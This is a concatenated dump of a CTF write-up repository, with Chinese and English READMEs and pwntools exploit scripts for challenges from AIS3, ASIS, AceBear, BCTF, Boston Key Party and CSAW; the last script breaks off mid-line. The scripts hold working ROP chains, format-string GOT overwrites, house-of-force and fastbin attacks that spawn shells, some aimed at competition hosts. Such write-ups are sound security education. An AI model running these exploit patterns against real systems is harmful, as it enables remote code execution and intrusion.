0x0000000000000000 13 | 0x7fffffffdf60: 0x00000000004005c0 0x0000000000400470 14 | 0x7fffffffdf70: 0x00007fffffffe060 0x0000000800000000 15 | 0x7fffffffdf80: 0x00000000004005c0 0x00007ffff7a58730 16 | 0x7fffffffdf90: 0x0000000000000000 0x00007fffffffe068 17 | 18 | 可以發現 64bytes 只夠我們剛好塞到 retuen address,後面沒有空間放其他 gadget。所以我們將要做的事分成兩次送。 19 | 20 | 第一輪我們先利用 stack migration 把 rbp 引導到自己找的 buffer 上,並 retuen 回 main 裡面讀取字元的程式區塊,將 ROP chain 讀到新的 buffer 上。 21 | ```python 22 | 'A'*44 + '\x2c\x00\x00\x00' + p64(buf+0x80) + p64(main_read) 23 | ``` 24 | 25 | 可以讀到新的 buffer 上是因為程式為由 rbp 為基準,推算出區域變數的位置。所以 rbp 一改,目標 buffer 的位址也跟著變了。 26 |
27 | 400582:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
28 | 400585:       48 8d 55 d0             lea    rdx,[rbp-0x30]
29 | 400589:       48 01 d0                add    rax,rdx
30 | 40058c:       ba 01 00 00 00          mov    edx,0x1
31 | 400591:       48 89 c6                mov    rsi,rax
32 | 400594:       bf 00 00 00 00          mov    edi,0x0
33 | 400599:       e8 a2 fe ff ff          call   400440 
34 | 
35 | ---------- 36 | 另外有個地方要特別注意,由於這題是一個字一個字讀輸入,我們在蓋 buffer 時會把位於 rbp-0x4, 37 | 用來計數的值寫掉。 38 |
39 | 0x7fffffffdf70: 0x00007fffffffe060      0x0000000800000000
40 | 
41 | 這會導致程式沒辦法正確判斷你讀了幾 byte 以及該讀去哪個位置。所以蓋到這邊的時候,必須將該位址原本的值再寫上去。 42 | 43 | ---------- 44 | 最後,利用 leave ret 的 gadget 將 rsp 指到 ROP chain 上,並跳進第一個 gadget 開始跑,就可以拿到 shell 了! 45 | ```python 46 | 'A'*7 + p64(pop_rdi_ret) + p64(sh) + p64(system) + 'A'*12 + '\x2c\x00\x00\x00' + p64(buf+0x80-0x30) + p64(leave_ret) 47 | ``` 48 | -------------------------------------------------------------------------------- /AIS3_2016_finalCTF/Remote2/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | 4 | s = remote('127.0.0.1',4000) #for local testing 5 | 6 | buf = 0x602000 - 0x100 7 | main_read = 0x400582 8 | pop_rdi_ret = 0x400623 9 | system = 0x400430 10 | sh = 0x400645 11 | leave_ret = 0x4005b2 12 | 13 | s.sendline('A'*44 + '\x2c\x00\x00\x00' + p64(buf+0x80) + p64(main_read)) 14 | 15 | s.sendline('A'*7 + p64(pop_rdi_ret) + p64(sh) + p64(system) + 'A'*12 + '\x2c\x00\x00\x00' + p64(buf+0x80-0x30) + p64(leave_ret)) 16 | 17 | s.interactive() 18 | -------------------------------------------------------------------------------- /ASIS-2017-final/Greg-Lestrade/README.md: -------------------------------------------------------------------------------- 1 | # Greg Lestrade 2 | 3 | ``` 4 | Arch: amd64-64-little 5 | RELRO: Partial RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x400000) 9 | ``` 10 | 11 | ## Analysis 12 | 13 | First we are asked to input credential, which is hard coded as `7h15_15_v3ry_53cr37_1_7h1nk`. There is actually a stack overflow vulnerability here, however, stack canary prevents us from exploiting this. 14 | After logging in, there is a function as following form within an infinite loop. It requires us inputting a string containing only lower case letters. It will print the string in a vulnerable way if the input passed the check. Format string vulnerability can't be directly used since the necessary `%` will definitely be captured. 15 | 16 | ```c 17 | read(0, cmd, 1023uLL); 18 | len = strlen(cmd) + 1; 19 | for ( i = 0; i < len; ++i ) 20 | { 21 | if ( cmd[i] <= 96 || cmd[i] > 122 ) 22 | { 23 | puts("[*] for secure commands, only lower cases are expected. Sorry admin"); 24 | result = 0LL; 25 | return result; 26 | } 27 | } 28 | printf(cmd); 29 | ``` 30 | 31 | Hence, the challenge will be finding a way to escape the check. 32 | 33 | ## Exploit 34 | 35 | The variable used to store length of command is only 1-byte long, thus we can make the length of command to be `(multiple of 0x100) - 1`, the minus 1 is to cancel the effect of line 8 of above code. This way, the initial check `i < len` of the for loop will fail, and we can now utilize FMT vulnerability to do GOT hijacking. 36 | Here we have two ways to get the flag: 37 | 38 | * Directly hijack `puts` or other functions to the hidden function at `0x400876` to print flag. 39 | * Hijack `strlen` to `system` and send `"/bin/sh"` as command to open a shell ! 40 | 41 | flag: `ASIS{_ASIS_N3W_pwn_1S_goblin_pwn4b13!}` 42 | -------------------------------------------------------------------------------- /ASIS-2017-final/Greg-Lestrade/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('146.185.132.36', 12431) 6 | 7 | system_plt = 0x400700 8 | strlen_got = 0x602028 9 | 10 | def send_cmd(cmd): 11 | r.sendlineafter('1) admin action\n', '1') 12 | r.sendafter('Give me your command : ', cmd) 13 | 14 | r.sendafter('Credential : ', '7h15_15_v3ry_53cr37_1_7h1nk') 15 | 16 | # only overwrite lower 6-bytes 17 | fmt = '' 18 | printed = 255 - 96 19 | for i in range(6): 20 | byte = (system_plt >> (8*i)) & 0xff 21 | padding = (byte - printed - 3 + 256) % 256 22 | if padding > 0: 23 | fmt += '%{}c'.format(str(padding).rjust(3, '0')) + '###' 24 | fmt += '%{}$hhn'.format(str(40+i).rjust(3, '0')) 25 | printed = (printed + padding + 3 ) % 256 26 | 27 | log.info('strlen(fmt): ' + str(len(fmt))) 28 | 29 | fmt += '\x00' 30 | for i in range(6): 31 | fmt += p64(strlen_got + i) 32 | 33 | send_cmd('A'*(255-96) + fmt) 34 | 35 | send_cmd('/bin/sh\x00') 36 | 37 | r.interactive() 38 | -------------------------------------------------------------------------------- /ASIS-2017-final/Greg-Lestrade/greg_lestrade: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/ASIS-2017-final/Greg-Lestrade/greg_lestrade -------------------------------------------------------------------------------- /AceBear-Security-Contest/arm-exploit/README.md: -------------------------------------------------------------------------------- 1 | # arm-exploit 2 | 3 | ``` 4 | Arch: arm-32-little 5 | RELRO: Partial RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x10000) 9 | ``` 10 | 11 | I solve this challenge to practice how arm exploit work. 12 | 13 | ## Analysis 14 | 15 | This challenge is an echo server. Based on login identity, there are two types of echo function, `guestecho` and `rootecho`. There is a buffer overflow vulnerability in latter one. 16 | Another vulnerability in both functions is that when type echo command, it just print our input on stack, where is full of uninitialized data. We can leak canary and stack address from here. 17 | 18 | ## Exploit 19 | 20 | To utilize the buffer overflow, we must become root. This can not be done with the `login` function since the unknown random password. Therefore, we have to make `uid` be 0 and `user` be `"root"` manually. 21 | 22 | ```c 23 | memset(&s, 0, 0x30u); 24 | printf("New username: "); 25 | secure_read(&s, 0x20u); 26 | strcpy(user, &s); 27 | ``` 28 | 29 |
30 | 0x2209c <user>:     0x41414141      0x41414141      0x41414141      0x41414141
31 | 0x220ac <user+16>:  0x41414141      0x41414141      0x41414141      0x41414141
32 | 0x220bc <user+32>:  0x00000000      0x00000001      0x00000000      0x00000000
33 |                         uid
34 | 
35 | 36 | This can be done by using `change_username` twice. First change name to full 0x20 character, the `uid` variable will be overwrite to 0 by `strcpy` for null-terminate. Then just change name to `"root"`. 37 | 38 | Now we can craft the first ROP chain. I plan to leak libc address first *(I assume the libc is available)*, then read second ROP chain to where the first one ended, whose job is to open a shell. 39 | For arm calling convention, first three arguments to function call are passed by registers `r0`, `r1` and `r2`. Based on this, I found following gadgets useful: 40 | 41 | * `pop {r3, pc}` 42 | * `pop {r4, r5, r6, r7, r8, sb, sl, pc}` 43 | * `mov r2, sb ; mov r1, r8 ; mov r0, r7 ; blx r3 ; ` 44 | `cmp r4, r6 ; bne #0x11080 ; pop {r4, r5, r6, r7, r8, sb, sl, pc}` 45 | 46 | We can use them in order `1 -> 2 -> 3 -> 1 -> 3 -> 1 -> 3 -> ...` to set up and call anticipated functions perfectly in succession, and finally open shell. 47 | -------------------------------------------------------------------------------- /AceBear-Security-Contest/arm-exploit/arm-exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AceBear-Security-Contest/arm-exploit/arm-exploit -------------------------------------------------------------------------------- /AceBear-Security-Contest/arm-exploit/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | context.arch = 'arm' 4 | 5 | r = remote('127.0.0.1', 4000) 6 | libc = ELF('libc-2.19.so') 7 | 8 | def info(): 9 | r.sendlineafter('Your choice: ', '1') 10 | 11 | def login(name, passwd): 12 | r.sendlineafter('Your choice: ', '2') 13 | r.sendafter('Username: ', name) 14 | r.sendafter('password: ', passwd) 15 | 16 | def echo(): 17 | r.sendlineafter('Your choice: ', '3') 18 | 19 | def change_username(new_name): 20 | r.sendlineafter('Your choice: ', '4') 21 | r.sendafter('New username: ', new_name) 22 | 23 | puts_plt = 0x10660 24 | read_plt = 0x10618 25 | strcmp_got = 0x22010 26 | pop_r3_pc = 0x105dc 27 | pop_r4_r5_r6_r7_r8_r9_r10_pc = 0x1107c 28 | mov_r2_r9_r1_r8_r0_r7_blx_r3 = 0x11064 29 | 30 | # get root privilege 31 | login('A'*4, 'a'*4) 32 | change_username('A'*32) 33 | change_username('root\n') 34 | 35 | # information leak 36 | echo() 37 | r.send('echo '.ljust(0x81, 'B')) 38 | r.recvuntil('B'*0x7c) 39 | canary = u32('\x00'+r.recvn(3)) 40 | log.success('canary: ' + hex(canary)) 41 | 42 | r.send('echo '.ljust(0x84, 'B')) 43 | r.recvuntil('B'*0x7f) 44 | stack = u32(r.recvn(4)) 45 | log.success('stack: ' + hex(stack)) 46 | rop_head = stack - 8 47 | 48 | rop1 = flat( 49 | pop_r3_pc, 50 | puts_plt, 51 | pop_r4_r5_r6_r7_r8_r9_r10_pc, 52 | 0xdeadbeef, 53 | 0xdeadbeef, 54 | 0xdeadbeef, 55 | strcmp_got, 56 | 0xdeadbeef, 57 | 0xdeadbeef, 58 | 0xdeadbeef, 59 | mov_r2_r9_r1_r8_r0_r7_blx_r3, 60 | 0xdeadbeef, 61 | 0xdeadbeef, 62 | 0xdeadbeef, 63 | 0, 64 | rop_head+84, 65 | 0x1000, 66 | 0xdeadbeef, 67 | pop_r3_pc, 68 | read_plt, 69 | mov_r2_r9_r1_r8_r0_r7_blx_r3, 70 | # rop_head+84: 71 | ) 72 | 73 | r.sendafter('$ ', 'echo '.ljust(0x80, 'B')+p32(canary)+'B'*4+rop1) 74 | log.info('len(first payload): ' + hex(0x88+len(rop1))) 75 | r.sendafter('$ ', 'exit\n') 76 | libc_base = u32(r.recvn(4)) - libc.symbols['strcmp'] 77 | log.success('libc base: ' + hex(libc_base)) 78 | system = libc_base + libc.symbols['system'] 79 | binsh = libc_base + next(libc.search('/bin/sh\x00')) 80 | 81 | rop2 = flat( 82 | 0xdeadbeef, 83 | 0xdeadbeef, 84 | 0xdeadbeef, 85 | binsh, 86 | 0xdeadbeef, 87 | 0xdeadbeef, 88 | 0xdeadbeef, 89 | pop_r3_pc, 90 | system, 91 | mov_r2_r9_r1_r8_r0_r7_blx_r3 92 | ) 93 | 94 | r.send(rop2) 95 | 96 | r.interactive() 97 | -------------------------------------------------------------------------------- /AceBear-Security-Contest/arm-exploit/libc-2.19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AceBear-Security-Contest/arm-exploit/libc-2.19.so -------------------------------------------------------------------------------- /BCTF-2016/Ruin/README.md: -------------------------------------------------------------------------------- 1 | # Ruin 2 | 3 | ``` 4 | Arch: arm-32-little 5 | RELRO: No RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x8000) 9 | ``` 10 | 11 | ## Analysis 12 | 13 | We can conduct multiple operation after entering the hardcoded password, like edit secret and name. There is an obvious heap overflow in the secret update function. 14 | 15 | ```c 16 | void edit_secret() 17 | { 18 | if ( !secret ) 19 | secret = (char *)malloc(8); 20 | printf("please input your secret:"); 21 | fgets(secret, 24, stdin); /* heap overflow */ 22 | } 23 | ``` 24 | 25 | It worth noting that the only place we can call `free` directly is the `leave & return` function, which will exit the program after freeing 3 chunks. 26 | 27 | ## Exploit 28 | 29 | First, notice that the `secret` pointer is placed just after `key`, hence we can leak `secret` by fill all 8-bytes of `key` to get heap address. 30 | After that, with the heap overflow and following boundary checking vulnerability, I chose to utilize *house of force* to exploit the challenge. 31 | 32 | ```c 33 | printf("please input your name length:"); 34 | size = read_num(); 35 | /* Only checking upper bound, negative size is acceptable */ 36 | if ( size > 32 ) 37 | { 38 | puts("how could you get such a long name ?!"); 39 | exit(1); 40 | } 41 | name = (char *)malloc(size); 42 | printf("enter your name:"); 43 | fgets(name, size, stdin); 44 | ``` 45 | 46 | Since the challenge didn't come with the libc of target machine, instead of getting chunk among GOT, I got chunk among dynamic section (this binary is *NO RELRO*) so that I can overwrite `strtab`. 47 | I chose `free` as target, whose offset in `strtab` is 0x79. 48 | 49 | ``` 50 | Dynamic section at offset 0xe50 contains 26 entries: 51 | Tag Type Name/Value 52 | ... 53 | 0x6ffffef5 (GNU_HASH) 0x8228 54 | 0x00000005 (STRTAB) 0x83b4 55 | 0x00000006 (SYMTAB) 0x8294 56 | ... 57 | ``` 58 | 59 |
60 | 0000000: 006c 6962 632e 736f 2e36 0065 7869 7400  .libc.so.6.exit.
61 | 0000010: 7374 726e 636d 7000 7075 7473 005f 5f73  strncmp.puts.__s
62 | 0000020: 7461 636b 5f63 686b 5f66 6169 6c00 6162  tack_chk_fail.ab
63 | 0000030: 6f72 7400 7374 6469 6e00 7072 696e 7466  ort.stdin.printf
64 | 0000040: 0066 6765 7473 0073 7464 6f75 7400 6d61  .fgets.stdout.ma
65 | 0000050: 6c6c 6f63 0066 7265 6164 0061 746f 6900  lloc.fread.atoi.
66 | 0000060: 7365 7462 7566 005f 5f6c 6962 635f 7374  setbuf.__libc_st
67 | 0000070: 6172 745f 6d61 696e 0066 7265 6500 6c64  art_main.free.ld
68 | ...
69 | 
70 | 71 | After hijack the `strtab`, calling `leave & return` function to trigger `free`, which would be resolved to `system`. With `secret` filled with `"/bin/sh"` in advance, we can get a shell. 72 | -------------------------------------------------------------------------------- /BCTF-2016/Ruin/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | r = remote('127.0.0.1', 4000) 5 | 6 | def update_key(key): 7 | r.sendlineafter('choice(1-4):', '1') 8 | r.sendafter('16-bit key:', key) 9 | 10 | def edit_secret(secret): 11 | r.sendlineafter('choice(1-4):', '2') 12 | r.sendafter('secret:', secret) 13 | 14 | def sign_name(length, name): 15 | r.sendlineafter('choice(1-4):', '3') 16 | r.sendlineafter('length:', str(length)) 17 | r.sendlineafter('name:', name) 18 | 19 | def leave(): 20 | r.sendlineafter('choice(1-4):', '4') 21 | 22 | dynamic_strtab = 0x10ea4 23 | 24 | # leak heap base 25 | r.sendafter('key:', 'a'*8) 26 | r.recvuntil('a'*8) 27 | heap_base = u32(r.recvuntil(' ')[:-1].ljust(4, '\x00')) - 0x8 28 | log.success('heap base: ' + hex(heap_base)) 29 | nb = ((dynamic_strtab-0x8) - (heap_base+0x10)) - 0x8 30 | log.info('nb: ' + hex(nb)) 31 | 32 | r.sendafter('key:', 'security') 33 | 34 | # trigger house of force 35 | edit_secret('/bin/sh\x00'.ljust(12, 'A')+p32(0xffffffff)+'system\x00') 36 | r.sendlineafter('choice(1-4):', '3') 37 | r.sendlineafter('length:', str(nb)) 38 | 39 | # get chunk in dynamic section and overwrite strtab 40 | update_key(p32(0x5)+p32(heap_base+0x18-0x79)+p32(6)+p32(0x8294)) 41 | # trigger free (system) 42 | leave() 43 | 44 | r.interactive() 45 | -------------------------------------------------------------------------------- /BCTF-2016/Ruin/ruin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/BCTF-2016/Ruin/ruin -------------------------------------------------------------------------------- /Boston-Key-Party-2017/hiddensc/README.md: -------------------------------------------------------------------------------- 1 | # hiddensc 2 | 3 | ``` 4 | RELRO: Partial RELRO 5 | Stack: Canary found 6 | NX: NX enabled 7 | PIE: PIE enabled 8 | ``` 9 | 10 | During the competition, I keep thinking how can trigger error such as `double free`, so that the `memory map` returned along with error message will contain the hidden address, but just can't find how to make it work ... 11 | After the competition, thanks to [this elaborate article](https://github.com/sebel1010/ctf-writeups/blob/master/2017/boston-key-party/hiddensc.md), I knew my original thought was wrong direction XD, and finally figured out this fantastic method ! So I record it here for memory . 12 | 13 | ## Analyze 14 | 15 | This challenge is a fork server, which `mmap` a page of memory to store shellcode, while the address is random . 16 | 17 | And the program provide two features: 18 | 19 | * `[a]lloc` can let us allocate some space and decide whether `free` it right away . 20 | * `[j]ump` can let us assign an address and jump to it . 21 | 22 | So if we know the random address, we can get shell immediately ! 23 | 24 | ## Exploit 25 | 26 | > Before doing following work, be sure to do the setting : 27 | > `echo 1 | sudo tee /proc/sys/vm/overcommit_memory` 28 | > This will enable us to allocate huge amount of memory to do the exploit ! 29 | > reference : 30 | > [Overcommit and OOM](http://www.win.tue.nl/~aeb/linux/lk/lk-9.html#ss9.6) 31 | > [overcommit document](https://www.kernel.org/doc/Documentation/vm/overcommit-accounting) 32 | 33 | By observation, when we allocating huge size of memory, the allocated space may locate at : 34 | 35 | * **before the page storing shellcode** 36 | * after the shellcode page and before code segment 37 | * between heap and some libraries 38 | 39 | ``` 40 | Start Addr End Addr Size Offset objfile 41 | 0x651af4d0000 0x4e51af4d6000 0x480000006000 0x0 42 | 0x4e51af4d6000 0x4e51af4d7000 0x1000 0x0 /root/CTF/bostonKeyParty2017/hiddensc/poop.sc 43 | 0x5220d8d33000 0x5620d8d34000 0x40000001000 0x0 44 | 0x5620d8d34000 0x5620d8d36000 0x2000 0x0 /root/CTF/bostonKeyParty2017/hiddensc/hiddensc 45 | 0x5620d8f36000 0x5620d8f37000 0x1000 0x2000 /root/CTF/bostonKeyParty2017/hiddensc/hiddensc 46 | 0x5620d8f37000 0x5620d8f38000 0x1000 0x3000 /root/CTF/bostonKeyParty2017/hiddensc/hiddensc 47 | 0x5620d95e5000 0x5620d9606000 0x21000 0x0 [heap] 48 | 0x5777b8000000 0x5777b8021000 0x21000 0x0 49 | 0x5777b8021000 0x5777bc000000 0x3fdf000 0x0 50 | 0x5777bd48e000 0x7f77bd490000 0x280000002000 0x0 51 | 0x7f77bd490000 0x7f77bd49b000 0xb000 0x0 /root/glibc-2.19/64/lib/libnss_files-2.19.so 52 | 0x7f77bd49b000 0x7f77bd69a000 0x1ff000 0xb000 /root/glibc-2.19/64/lib/libnss_files-2.19.so 53 | ... 54 | ``` 55 | 56 | **If before the page storing shellcode has biggest space**, in above case, 0x4e51af4d6000 bytes, we can use following method to get the random address ! 57 | 58 | Keep `malloc` and `free` right away with increased size. When the `FAIL` message returned to us, increase size with smaller scale each time and keep doing the `malloc` and `free` work . 59 | After we can't increase the size anymore, we can deduce that the size of allocated space is the random address where the shellcode is located, at least not far away. 60 | This is because with the biggest possible allocated request, only the biggest continuous space can handle, and this is why the prerequisite exist ! 61 | 62 | ```python 63 | for i in range(11, 2, -1): 64 | for j in range(16): 65 | size += (1 << 4*i) 66 | print 'try malloc({})'.format(hex(size)) 67 | if not alloc(size): 68 | size -= (1 << 4*i) 69 | break 70 | ``` 71 | 72 | 73 | -------------------------------------------------------------------------------- /Boston-Key-Party-2017/hiddensc/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | r = remote('172.17.0.2', 8888) 5 | #r = remote('54.202.7.144', '6969') 6 | 7 | def alloc(size): 8 | r.sendafter('[a]lloc, [j]ump : ', 'a') 9 | r.sendafter('sz? ', str(size)) 10 | ret_msg = r.recvn(4) 11 | if ret_msg == 'free': 12 | r.sendafter('? ', 'y') 13 | return True 14 | else: 15 | return False 16 | 17 | def jump(addr): 18 | r.sendafter('[a]lloc, [j]ump : ', 'j') 19 | r.sendafter('sz? ', str(addr)) 20 | 21 | size = 0 22 | # first, add size 0x100000000000 each time 23 | # after FAIL, add 0x10000000000 each time 24 | # after FAIL, add 0x1000000000 each time 25 | # ... 26 | for i in range(11, 2, -1): 27 | for j in range(16): 28 | size += (1 << 4*i) 29 | print 'try malloc({})'.format(hex(size)) 30 | if not alloc(size): 31 | size -= (1 << 4*i) 32 | break 33 | 34 | # The random shellcode is 0x11000 bytes far from the deduced address 35 | # I still don't know why Orz 36 | size += 0x11000 37 | print 'the shellcode is located at: {}'.format(hex(size)) 38 | 39 | jump(size) 40 | 41 | r.interactive() 42 | -------------------------------------------------------------------------------- /Boston-Key-Party-2017/hiddensc/hiddensc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/Boston-Key-Party-2017/hiddensc/hiddensc -------------------------------------------------------------------------------- /Boston-Key-Party-2017/hiddensc/poop.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/Boston-Key-Party-2017/hiddensc/poop.sc -------------------------------------------------------------------------------- /CSAW-2016-qual/README.md: -------------------------------------------------------------------------------- 1 | # CSAW_2016 2 | -------------------------------------------------------------------------------- /CSAW-2016-qual/tutorial/README.md: -------------------------------------------------------------------------------- 1 | # tutorial 2 | 3 | 由於自己對於網路程式設計還沒有概念,而且執行檔在 local 跑不起來,不能用 gdb 觀察,所以看得蠻吃力的。後來感謝 bruce 學長的提點,才順利解出來XD 4 | 5 | ## 解題流程 6 | 7 | 程式一開始會建立 socket 連線,然後執行 `fork` 後進入 `menu(int socket)` 選單。 8 | 9 | * 選項 1 會輸出 `puts()` 的 address 扣掉 1280 的值,可以從這邊推出 libc address。 10 | * 選項 2 會接收長達 460 bytes 的輸入,並從輸入 buffer 開始輸出 324bytes。透過 IDA 得知該 buffer 的起點位在 `rbp-320` ,所以這裡可以 leak 出位於 `rbp-8` 的 canary。 11 | 12 | ```C 13 | write(socket_num, "Time to test your exploit...\n", 0x1DuLL); 14 | write(socket_num, ">", 1uLL); 15 | read(socket_num, &s, 460uLL); 16 | write(socket_num, &s, 324uLL); 17 | ``` 18 | 19 | * 選項 3 離開程式。 20 | 21 | ---------- 22 | 23 | 有了 libc address 和 canary 後就可以開始蓋 ROP chain 了。原本想直接蓋 `system` 開 shell,不知道為什麼失敗了,問了才知道由於前面的 `fork`,這邊直接叫 `system` 的話 file descriptor 會接不起來。所以我們要先用 `dup2()` 把 fd 設好才行。 24 | 由於前面呼叫 `read` 時已經把 rdi 設成我們要的值了,所以用 `dup2` 之前只要再把 rsi 設好即可。 25 | 26 | ```python 27 | chain = 'A'*312 + p64(canary) + 'B'*8 + 28 | p64(pop_rsi_r15_ret) + p64(0x0) + p64(0xdeadbeef) + p64(dup2) + 29 | p64(pop_rsi_r15_ret) + p64(0x1) + p64(0xdeadbeef) + p64(dup2) + 30 | p64(pop_rdi_ret) + p64(binsh) + p64(system) 31 | ``` 32 | 33 | 把一開始 `accept` 的回傳值送給 `stdin` 和 `stdout` 之後 call `system` 就可以拿到 shell 了。 34 | 35 | ``` 36 | FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM} 37 | ``` 38 | -------------------------------------------------------------------------------- /CSAW-2016-qual/tutorial/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | 4 | s = remote('pwn.chal.csaw.io', 8002) 5 | libc = ELF('/root/CSAW/tutorial/libc-2.19.so') 6 | 7 | puts_off = libc.symbols['puts'] 8 | system_off = libc.symbols['system'] 9 | dup2_off = libc.symbols['dup2'] 10 | pop_rdi_ret = 0x4012e3 11 | pop_rsi_r15_ret = 0x4012e1 12 | 13 | s.recvuntil('>') 14 | s.sendline('1') 15 | s.recvuntil('Reference:') 16 | puts = int(s.recvuntil('>')[2:14], 16) + 1280 17 | 18 | base = puts - puts_off 19 | print 'libc base = ', hex(base) 20 | 21 | system = base + system_off 22 | dup2 = base + dup2_off 23 | binsh = base + 0x17c8c3 24 | 25 | s.sendline('2') 26 | s.recvuntil('>') 27 | s.sendline('A'*311) 28 | rst = s.recvuntil('-Tutorial-') 29 | canary = u64(rst[312:320]) 30 | print 'canary = ', hex(canary) 31 | 32 | s.recvuntil('>') 33 | s.sendline('2') 34 | s.recvuntil('>') 35 | s.sendline('A'*312 + p64(canary) + 'B'*8 + 36 | p64(pop_rsi_r15_ret) + p64(0x0) + p64(0xdeadbeef) + p64(dup2) + 37 | p64(pop_rsi_r15_ret) + p64(0x1) + p64(0xdeadbeef) + p64(dup2) + 38 | p64(pop_rdi_ret) + p64(binsh) + p64(system)) 39 | 40 | s.interactive() 41 | -------------------------------------------------------------------------------- /CSAW-2017-qual/Auir/README.md: -------------------------------------------------------------------------------- 1 | # Auir 2 | 3 | > Arch: amd64-64-little 4 | > RELRO: Partial RELRO 5 | > Stack: No canary found 6 | > NX: NX enabled 7 | > PIE: No PIE (0x400000) 8 | 9 | I was shocked by the size of this binary, it has lots of code in a single function, and many mysterious variables and operations. 10 | But its behavior is actually not so complicated after taking times to observe it :D 11 | 12 | ## Analysis 13 | 14 | ``` 15 | |-------------------------------| 16 | |AUIR AUIR AUIR AUIR AUIR AUIR A| 17 | |-------------------------------| 18 | [1]MAKE ZEALOTS 19 | [2]DESTROY ZEALOTS 20 | [3]FIX ZEALOTS 21 | [4]DISPLAY SKILLS 22 | [5]GO HOME 23 | |-------------------------------| 24 | >> 25 | ``` 26 | 27 | * `MAKE ZEALOTS` will use `malloc` to allocate a chunk whose size is determined by us. Then we can send some input to store in the chunk. 28 | * `DESTROY ZEALOTS` can be used to `free` specific chunks allocated by first option. 29 | * `FIX ZEALOTS` will ask for a new size for an existing chunk, then we can send something up to `new size` bytes to it. This can be used to trigger heap overflow ! 30 | * `DISPLAY SKILLS` prints the content of a specific chunk 31 | 32 | My plan is utilizing heap overflow to do fastbin corruption, and doing GOT hijacking to open shell. 33 | 34 | ## Exploit 35 | 36 | First I need to know libc address. I make two small chunks and free the first one, this can make an address points to somewhere inside `main_arena`, which located at libc, appears at the `fd` field of the first chunk. Then I can print the contents of this chunk to get the address. 37 | 38 | With libc address, I can try to get a fake chunk near GOT. 39 | First of all, I make to fastbin chunk, then free the second one. After that, using `FIX ZEALOTS` function on first chunk to overwrite the `fd` field of second chunk to the target address. 40 | Finally, I make two chunks to get out target fake chunk, which has following layout (the fake chunk is marked as **bold**): 41 | 42 |
43 | 0x604ff8:       0x0000000000000000
44 | 0x605000:       0x0000000000604df8
45 | 0x605008:       0x00007f7284463168 -> padding higher 6 bytes
46 | 0x605010:       0x00007f7284253870 -> I just overwrite this to original value
47 | 0x605018:       0x00007f7283bff5a0 -> _ZNSolsEi@plt
48 | 0x605020:       0x00007f7283ee1e70 -> setvbuf@plt
49 | 0x605028:       0x00007f7283b8d7e0 -> _ZNSt8ios_base4InitC1Ev@plt
50 | 0x605030:       0x00007f7283f69220 -> read@plt
51 | 0x605038:       0x00007f7283ef6130 -> malloc@plt
52 | 0x605040:       0x00007f7283e92740 -> __libc_start_main@plt
53 | 0x605048:       0x00007f7283eac280 -> __cxa_atexit@plt
54 | 0x605050:       0x0000000000400986 -> _ZNSt8ios_base4InitD1Ev@plt
55 | 0x605058:       0x00007f7283bff210 -> one_gadget
56 | 
57 | notice that from 0x60505a to 0x60505f belongs to prev_size field of next chunk, hence we can still overwrite it.
58 | 
59 | 60 | I overwrite most of the GOT entry of functions to its PLT entry, so that it can still work properly when being called subsequently. 61 | The crucial point is overwriting GOT entry of `_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_` to one gadget. Since this function will be called in `main`, where stack frame is much more *clear* to satisfy the constraints of one gadget. 62 | 63 | flag: `flag{W4rr10rs!_A1ur_4wa1ts_y0u!_M4rch_f0rth_and_t4k3_1t!}` 64 | 65 | -------------------------------------------------------------------------------- /CSAW-2017-qual/Auir/auir: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Auir/auir -------------------------------------------------------------------------------- /CSAW-2017-qual/Auir/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('pwn.chal.csaw.io', 7713) 6 | libc = ELF('libc-2.23.so') 7 | 8 | def make(size, skill): 9 | r.sendlineafter('>>', '1') 10 | r.sendlineafter('>>', str(size)) 11 | r.sendafter('>>', skill) 12 | 13 | def destroy(index): 14 | r.sendlineafter('>>', '2') 15 | r.sendlineafter('>>', str(index)) 16 | 17 | def fix(index, size, skill): 18 | r.sendlineafter('>>', '3') 19 | r.sendlineafter('>>', str(index)) 20 | r.sendlineafter('>>', str(size)) 21 | r.sendafter('>>', skill) 22 | 23 | def display(index): 24 | r.sendlineafter('>>', '4') 25 | r.sendlineafter('>>', str(index)) 26 | 27 | def go_home(): 28 | r.sendlineafter('>>', '5') 29 | 30 | # leak libc address 31 | make(144-8, 'A'*4) # 0 32 | make(144-8, 'B'*4) # 1 33 | destroy(0) 34 | display(0) 35 | r.recvuntil('[*]SHOWING....\n') 36 | libc_base = u64(r.recvn(6) + 